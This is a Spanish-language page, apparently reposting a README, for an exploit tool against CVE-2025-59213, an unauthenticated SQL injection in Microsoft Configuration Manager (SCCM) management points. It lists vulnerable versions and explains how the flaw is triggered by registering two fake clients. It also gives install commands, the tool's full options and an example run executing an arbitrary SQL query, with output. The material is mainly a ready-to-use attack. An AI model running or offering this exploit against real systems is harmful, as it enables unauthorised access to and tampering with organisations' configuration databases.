Exploit de inyección SQL no autenticada (CVE-2025-59213) en Microsoft Configuration Manager (ConfigMgr / SCCM) 2503

Este script explota la vulnerabilidad CVE-2025-59213, que permite a un atacante no autenticado con acceso de red a un punto de administración (Management Point) ejecutar consultas SQL arbitrarias en la base de datos del sitio abusando de una falla de inyección SQL en el método DuplicateAMTMachineRecord de Discovery Data Manager (DDM), donde el campo Hardware_ID0 sin escapar se maneja incorrectamente durante la fusión de dos clientes con ID de hardware conflictivos.

Cuando falta KB34503790, todas las siguientes versiones de Microsoft Configuration Manager son vulnerables:

< 2503 (5.00.9135.1008)
< 2409 (5.00.9132.1029)
< 2403 (5.00.9128.1035)
<= 2303 (*)

Requisitos

En algunos casos, cuando el punto de administración está configurado con el modo de comunicación HTTPS Only (solo HTTPS), se requiere un certificado PKI para realizar la autenticación TLS mutua contra el servicio HTTP vulnerable. Cualquier certificado emitido por la PKI interna con el propósito de Client Authentication (autenticación de cliente) funcionará.
Si no tiene un certificado, use la opción --altauth (más información aquí)

Notas

El exploit requiere registrar dos clientes falsos, que el script elimina automáticamente tras una inyección SQL exitosa, a menos que se use la opción --no-clean o que un parche impida que se ejecute la limpieza.
Debido a que la inyección es asíncrona, los payloads basados en tiempo son ineficaces, ya que no existe una correlación directa entre la ejecución y el tiempo de respuesta.

Instalación

Puedes instalarlo clonando el repositorio e instalando las dependencias.

$ git clone https://github.com/synacktiv/CVE-2025-59213
$ cd CVE-2025-59213
$ python3 -m venv .venv && source .venv/bin/activate
$ python3 -m pip install -r requirements.txt

Uso

 $ python3 CVE-2025-59213.py -h 
usage: CVE-2025-59213.py [-h] -t TARGET [-sk SIGKEY] [-k KEY] [-c CERT] [-v] -cn CLIENT_NAME [-rs REGISTRATION_SLEEP] [-a] -sql SQL [-nc]

CVE-2025-59213 - Discovery Data Manager (DDM) Unauthenticated SQL Injection

options:
  -h, --help            show this help message and exit
  -t, --target TARGET   Target (http://sccm-mp.local/)
  -sk, --sigkey SIGKEY  SMS signature key (automatically generated if omitted)
  -k, --key KEY         Private key file for mTLS
  -c, --cert CERT       Certificate file for mTLS
  -v, --verbose         Verbose output, print requests
  -cn, --client-name CLIENT_NAME
                        Name of the client that will be created in SCCM
  -rs, --registration-sleep REGISTRATION_SLEEP
                        The amount of time, in seconds, that should be waited after registrating a new device (10 seconds by default)
  -a, --altauth         Use the MP's alternate authentication endpoint
  -sql SQL              Query to execute through the SQL injection
  -nc, --no-clean       Do not automatically clean the registred devices

Ejemplo

$ python3 ./CVE-2025-59213.py -t https://cmc.corp.local --altauth -cn FAKE_CLIENT_NAME -sql 'select 1'
[+] Generated new signing key, saved to /tmp/sccm_poc.key
[+] CcmMessage : ID={D731ED0A-4474-497D-A191-D8948E17ECBF}
[+] Got SMSID = GUID:CF4AFCD1-7237-4C04-8252-CC0F5B881F3F for new client FAKE_CLIENT_NAME
[+] CcmMessage : ID={23EEE9B8-7971-4560-9D18-9328C5DF0C2E}
[+] Got SMSID = GUID:26A34806-CE06-4212-A830-C1E3AC9D7F69 for new client FAKE_CLIENT_NAME
[+] Sending DDR report: SMSID=GUID:CF4AFCD1-7237-4C04-8252-CC0F5B881F3F OLDSMSID=GUID:26A34806-CE06-4212-A830-C1E3AC9D7F69
[+] CcmMessage : ID={88B6BEBD-1F99-4BD2-8786-6BD3C6CFF299}
[+] CcmMessage : adding clientauth
[+] CcmMessage : adding attachment
[+] DDR report sent successfully

CVE-2025-59213

Más Populares

Exploit de inyección SQL no autenticada (CVE-2025-59213) en Microsoft Configuration Manager (ConfigMgr / SCCM) 2503

Requisitos

Notas

Instalación

Uso

Ejemplo